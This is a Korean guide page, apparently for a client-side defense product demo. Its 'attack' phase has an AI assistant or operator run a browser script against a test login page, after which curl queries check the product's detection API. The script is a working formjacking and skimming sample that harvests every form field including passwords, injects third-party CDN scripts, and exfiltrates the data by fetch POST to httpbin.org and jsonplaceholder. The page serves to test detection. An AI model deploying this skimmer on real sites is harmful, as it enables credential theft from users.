콘텐츠로 이동

2단계 — 공격

2단계는 보호된 애플리케이션에 대한 시뮬레이션 공격 트래픽을 생성하고 CSD가 이를 탐지했는지 확인합니다. 진행하기 전에 1단계가 완료되어야 합니다 — 7단계의 모든 확인이 PASS여야 합니다.

인프라가 검증된 후(1단계 7단계의 모든 확인이 PASS), 공격 시뮬레이션 스크립트를 실행하여 CSD 탐지를 생성합니다. 스크립트는 트리거 탐지 가이드와 공격 스크립트 라이브러리에 정의되어 있습니다.

브라우저 자동화 도구를 갖춘 AI 어시스턴트는 공격 시뮬레이션을 프로그래밍 방식으로 실행합니다:

  1. initScript로 탐색 — 먼저 about:blank로 이동하여 깨끗한 문서 컨텍스트를 확보한 후(이전 탐색의 오래된 initScript를 방지), zone.js가 패치하기 전에 네이티브 setInterval, clearInterval, fetch, console.log를 저장하는 initScript와 함께 navigate_pagehttp://$F5XC_DOMAINNAME/#/login으로 이동하고, 로그인 폼 필드를 폴링하여 네이티브 HTMLInputElement.prototype.value 세터를 통해 자격 증명을 채우고, Combined Detection Script를 인라인으로 즉시 실행합니다. 아래의 initScript를 그대로 사용하십시오.
  2. 환영 배너 닫기Escape 키로 press_key하여 환영 배너를 닫습니다. 이후 방문 시 배너가 나타나지 않을 수 있습니다(쿠키가 유지됨). 쿠키 동의 대화 상자는 Escape 키로 자동으로 닫힙니다.
  3. 완료 대기 — 모든 CDN 스크립트 로드/오류 콜백 및 fetch 프로미스 해결이 완료될 때까지 10초 대기합니다.
  4. 증거 캡처list_console_messages[CSD Demo] Simulation complete와 CDN 로드 결과를 확인하고, scriptfetch 유형으로 필터링된 list_network_requests로 HTTP 상태 코드(200/201 성공, pending 보류 요청)를 검증합니다.

2단계 initScript (그대로 사용 — 정확히 작성된 대로 사용):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

브라우저 자동화 도구가 없는 운영자는 수동으로 단계를 수행합니다:

  1. 탐색 — 보호된 애플리케이션 로그인 페이지로 이동합니다: http://xF5XC_DOMAINNAMEx/#/login
  2. 더미 자격 증명 입력 — 이메일 필드에 test@example.com을 입력하고 비밀번호 필드에 P@ssword123을 입력합니다(폼을 제출하지 마십시오)
  3. DevTools 열기F12를 누르고 콘솔 탭으로 전환합니다
  4. Combined Detection Script 실행트리거 탐지 — Combined Simulation Script 실행의 스크립트를 콘솔에 붙여넣고 Enter를 누릅니다
  5. 콘솔 출력 확인[CSD Demo] 단계별 출력이 필드 수집, 4개 CDN 도메인에서의 스크립트 주입, 2개 엔드포인트로의 데이터 유출을 보여주는지 확인합니다
신호동작탐지
폼 필드 수집이메일 및 비밀번호 입력 값을 읽음민감한 폼 필드를 읽는 스크립트 — 높은 위험으로 플래그
스크립트 주입cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io에서 4개의 <script> 태그를 주입최대 4개의 새로운 서드파티 스크립트 도메인 탐지(CDN 가용성에 따라 다름)
데이터 유출fetch를 통해 수집된 데이터를 www.httpbin.orgjsonplaceholder.typicode.com으로 전송외부 도메인으로의 네트워크 호출

AI 어시스턴트는 다음 사항을 보고해야 합니다. AI 자동화 실행의 경우, 증거는 list_console_messages를 통해 프로그래밍 방식으로 캡처됩니다(initScript의 폴링 함수가 결과를 콘솔에 기록함). 수동 실행의 경우, 운영자가 브라우저 콘솔 출력을 읽습니다.

확인 항목예상 결과상태
로그인 페이지 로드됨http://$F5XC_DOMAINNAME/#/login에서 200 OKPASS / FAIL
콘솔 스크립트 실행됨콘솔 출력에 [CSD Demo] Simulation completePASS / FAIL
필드 수집됨콘솔 출력에 개수 > 0PASS
스크립트 주입됨콘솔 출력에 1–4개 CDN 도메인(일부는 리소스 오류로 실패할 수 있음)CDN 도메인이 하나라도 나타나면 PASS
유출 채널콘솔 출력에 2개의 fetch POST 시도PASS

CSD API 엔드포인트를 쿼리하여 탐지가 나타났는지 확인합니다. 폴링 루프를 사용하십시오: 60초마다 /detected_domains를 쿼리하고, DET-3이 통과되는 즉시 진행합니다. DET-3이 10분 후에도 통과되지 않으면 CSD 구성을 확인하십시오. DET-3이 30분 후에도 통과되지 않으면 중단하고 운영자에게 보고하십시오. 이 엔드포인트들은 API 참조에 문서화되어 있으며 이전 단계와 동일한 인증 및 네임스페이스를 사용합니다.

지난 24시간 동안 탐지된 스크립트를 쿼리합니다:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
필드예상 결과상태
total> 0 (스크립트 탐지됨)> 0이면 PASS; 0이지만 /detected_domains에 유출 도메인이 표시되면 PENDING
스크립트 이름script_name에 CDN 도메인(cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) 포함주입된 CDN 도메인이 나타나면 PASS
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
필드예상 결과상태
total_domains> 0> 0이면 PASS
도메인 목록CDN 및 유출 도메인 포함예상 도메인이 나타나면 PASS
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
필드예상 결과상태
total> 0> 0이면 PASS; 0이지만 DET-3이 통과되면 PENDING
nameemail, password 포함민감한 필드가 나타나면 PASS
sensitivity이메일/비밀번호 필드에 SensitiveML이 올바르게 분류하면 PASS

모든 탐지 쿼리 후 최종 탐지 상태를 표시합니다:

테스트 ID확인 항목상태
DET-1스크립트 탐지됨(/scripts 엔드포인트)> 0이면 PASS; 비어 있지만 DET-3이 통과되면 PENDING
DET-2CDN 도메인 탐지됨PASS / FAIL
DET-3유출 도메인 탐지됨(/detected_domains)주요 지표www.httpbin.org 또는 jsonplaceholder.typicode.com이 나타나면 PASS
DET-4폼 필드 탐지됨(/formFields 엔드포인트)> 0이면 PASS; 비어 있지만 DET-3이 통과되면 PENDING

2단계 완료. 완화 규칙을 적용하고 도메인이 차단되었는지 확인하려면 3단계 — 완화로 진행하십시오.